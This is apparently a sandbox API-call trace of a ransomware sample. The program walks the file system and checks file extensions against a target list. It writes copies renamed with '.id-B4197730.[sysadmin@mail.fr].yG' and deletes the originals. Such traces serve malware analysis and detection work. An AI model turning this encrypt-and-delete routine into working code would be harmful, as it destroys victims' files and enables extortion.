	[0177.513] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.518] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=6276) returned 1
	[0177.518] CloseHandle (hObject=0x52c) returned 1
	[0177.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf")) returned 0x220
	[0177.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0177.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0177.519] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.520] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0177.521] GetLastError () returned 0x0
	[0177.521] ReadFile (in: hFile=0x52c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x1884, lpOverlapped=0x0) returned 1
	[0177.619] WriteFile (in: hFile=0x2cc, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x1890, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x1890, lpOverlapped=0x0) returned 1
	[0177.620] ReadFile (in: hFile=0x52c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.620] WriteFile (in: hFile=0x2cc, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0177.620] SetEndOfFile (hFile=0x2cc) returned 1
	[0177.620] CloseHandle (hObject=0x2cc) returned 1
	[0177.621] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.621] SetEndOfFile (hFile=0x52c) returned 1
	[0177.624] CloseHandle (hObject=0x52c) returned 1
	[0177.625] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0177.625] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf")) returned 1
	[0177.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68
	[0177.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68
	[0177.626] lstrlenW (lpString=".doc") returned 4
	[0177.626] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.626] lstrlenW (lpString=".docx") returned 5
	[0177.626] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0177.626] lstrlenW (lpString=".pdf") returned 4
	[0177.626] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.626] lstrlenW (lpString=".xls") returned 4
	[0177.626] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.626] lstrlenW (lpString=".xlsx") returned 5
	[0177.627] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0177.627] lstrlenW (lpString=".ppt") returned 4
	[0177.627] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68
	[0177.627] lstrlenW (lpString=".zip") returned 4
	[0177.627] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.627] lstrlenW (lpString=".rar") returned 4
	[0177.627] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.627] lstrlenW (lpString=".bz2") returned 4
	[0177.627] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.627] lstrlenW (lpString=".7z") returned 3
	[0177.627] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68
	[0177.627] lstrlenW (lpString=".dbf") returned 4
	[0177.627] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68
	[0177.627] lstrlenW (lpString=".1cd") returned 4
	[0177.627] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68
	[0177.627] lstrlenW (lpString=".jpg") returned 4
	[0177.627] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.763] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=12436) returned 1
	[0177.763] CloseHandle (hObject=0x33c) returned 1
	[0177.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf")) returned 0x220
	[0177.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0177.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0177.764] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.764] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0177.765] GetLastError () returned 0x0
	[0177.765] ReadFile (in: hFile=0x33c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x3094, lpOverlapped=0x0) returned 1
	[0177.787] WriteFile (in: hFile=0x398, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x30a0, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x30a0, lpOverlapped=0x0) returned 1
	[0177.788] ReadFile (in: hFile=0x33c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.789] WriteFile (in: hFile=0x398, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0177.789] SetEndOfFile (hFile=0x398) returned 1
	[0177.789] CloseHandle (hObject=0x398) returned 1
	[0177.789] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.789] SetEndOfFile (hFile=0x33c) returned 1
	[0177.793] CloseHandle (hObject=0x33c) returned 1
	[0177.793] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0177.794] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf")) returned 1
	[0177.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68
	[0177.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68
	[0177.795] lstrlenW (lpString=".doc") returned 4
	[0177.795] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.795] lstrlenW (lpString=".docx") returned 5
	[0177.795] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0177.795] lstrlenW (lpString=".pdf") returned 4
	[0177.795] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.795] lstrlenW (lpString=".xls") returned 4
	[0177.795] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.795] lstrlenW (lpString=".xlsx") returned 5
	[0177.795] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0177.795] lstrlenW (lpString=".ppt") returned 4
	[0177.795] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68
	[0177.795] lstrlenW (lpString=".zip") returned 4
	[0177.795] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.796] lstrlenW (lpString=".rar") returned 4
	[0177.796] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.796] lstrlenW (lpString=".bz2") returned 4
	[0177.796] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.796] lstrlenW (lpString=".7z") returned 3
	[0177.796] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68
	[0177.796] lstrlenW (lpString=".dbf") returned 4
	[0177.796] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68
	[0177.796] lstrlenW (lpString=".1cd") returned 4
	[0177.796] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68
	[0177.796] lstrlenW (lpString=".jpg") returned 4
	[0177.796] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0177.798] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=30812) returned 1
	[0177.798] CloseHandle (hObject=0x33c) returned 1
	[0177.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf")) returned 0x220
	[0177.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0177.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0177.798] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.799] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0177.800] GetLastError () returned 0x0
	[0177.800] ReadFile (in: hFile=0x33c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x785c, lpOverlapped=0x0) returned 1
	[0177.830] WriteFile (in: hFile=0x398, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x7860, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x7860, lpOverlapped=0x0) returned 1
	[0177.832] ReadFile (in: hFile=0x33c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.832] WriteFile (in: hFile=0x398, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0177.832] SetEndOfFile (hFile=0x398) returned 1
	[0177.832] CloseHandle (hObject=0x398) returned 1
	[0177.832] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.832] SetEndOfFile (hFile=0x33c) returned 1
	[0177.836] CloseHandle (hObject=0x33c) returned 1
	[0177.836] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0177.836] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf")) returned 1
	[0177.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68
	[0177.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68
	[0177.902] lstrlenW (lpString=".doc") returned 4
	[0177.902] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.902] lstrlenW (lpString=".docx") returned 5
	[0177.902] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0177.902] lstrlenW (lpString=".pdf") returned 4
	[0177.902] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.902] lstrlenW (lpString=".xls") returned 4
	[0177.902] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.902] lstrlenW (lpString=".xlsx") returned 5
	[0177.902] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0177.902] lstrlenW (lpString=".ppt") returned 4
	[0177.902] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68
	[0177.902] lstrlenW (lpString=".zip") returned 4
	[0177.902] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.902] lstrlenW (lpString=".rar") returned 4
	[0177.902] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.902] lstrlenW (lpString=".bz2") returned 4
	[0177.902] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.902] lstrlenW (lpString=".7z") returned 3
	[0177.902] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68
	[0177.903] lstrlenW (lpString=".dbf") returned 4
	[0177.903] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68
	[0177.903] lstrlenW (lpString=".1cd") returned 4
	[0177.903] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68
	[0177.903] lstrlenW (lpString=".jpg") returned 4
	[0177.903] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.903] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5969f8 | out: hHeap=0x4f0000) returned 1
	[0177.903] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54d0f0 | out: hHeap=0x4f0000) returned 1
	[0177.903] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3870720 | out: hHeap=0x4f0000) returned 1
	[0177.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3880728 | out: hHeap=0x4f0000) returned 1
	[0177.905] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3a75020 | out: hHeap=0x4f0000) returned 1
	[0177.911] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x596800 | out: hHeap=0x4f0000) returned 1
	[0177.911] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x45921d0
	[0177.911] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x45921d0, Size=0x20) returned 0x45b05c0
	[0177.911] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x4592278
	[0177.911] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x4592278, Size=0x20) returned 0x45b04a8
	[0177.911] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x763a0000
	[0177.912] GetProcAddress (hModule=0x763a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x763b6b30
	[0177.912] Wow64DisableWow64FsRedirection (in: OldValue=0x2e7ff50 | out: OldValue=0x2e7ff50*=0x1) returned 1
	[0177.912] lstrlenW (lpString="kernel32.dll") returned 12
	[0177.912] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b04a8 | out: hHeap=0x4f0000) returned 1
	[0177.912] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0177.912] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b05c0 | out: hHeap=0x4f0000) returned 1

Thread:
	id = 45
	os_tid = 0xe28

	[0132.675] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3890e00
	[0132.676] lstrlenW (lpString="C:") returned 2
	[0132.676] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x2fbfcf8 | out: lpFindFileData=0x2fbfcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x775f0000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x509260
	[0132.676] lstrlenW (lpString="C:\\$GetCurrent") returned 14
	[0132.677] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1
	[0132.677] lstrlenW (lpString="$GetCurrent") returned 11
	[0132.677] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1
	[0132.677] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38a0e08
	[0132.677] lstrlenW (lpString="C:\\$GetCurrent") returned 14
	[0132.677] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x508de0
	[0132.680] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0132.681] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x97e232ed, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x97e232ed, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1
	[0132.681] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19
	[0132.681] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1
	[0132.681] lstrlenW (lpString="Logs") returned 4
	[0132.681] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1
	[0132.681] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0132.682] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19
	[0132.682] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x97e232ed, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x97e232ed, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd540
	[0132.685] FindNextFileW (in: hFindFile=0x5dd540, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x97e232ed, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x97e232ed, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0132.686] FindNextFileW (in: hFindFile=0x5dd540, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97fa2bfb, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x97fa2bfb, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9808bce9, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xa7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="DOWNLE~1.YG")) returned 1
	[0132.686] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[sysadmin@mail.fr].yG") returned 71
	[0132.686] lstrlenW (lpString=".1cd") returned 4
	[0132.686] lstrcmpiW (lpString1=".1cd", lpString2="].yG") returned -1
	[0132.686] lstrlenW (lpString=".3ds") returned 4
	[0132.686] lstrcmpiW (lpString1=".3ds", lpString2="].yG") returned -1
	[0132.686] lstrlenW (lpString=".3fr") returned 4
	[0132.686] lstrcmpiW (lpString1=".3fr", lpString2="].yG") returned -1
	[0132.686] lstrlenW (lpString=".3g2") returned 4
	[0132.686] lstrcmpiW (lpString1=".3g2", lpString2="].yG") returned -1
	[0132.686] lstrlenW (lpString=".3gp") returned 4
	[0132.686] lstrcmpiW (lpString1=".3gp", lpString2="].yG") returned -1
	[0132.686] lstrlenW (lpString=".7z") returned 3
	[0132.686] lstrcmpiW (lpString1=".7z", lpString2=".yG") returned -1
	[0132.686] lstrlenW (lpString=".accda") returned 6
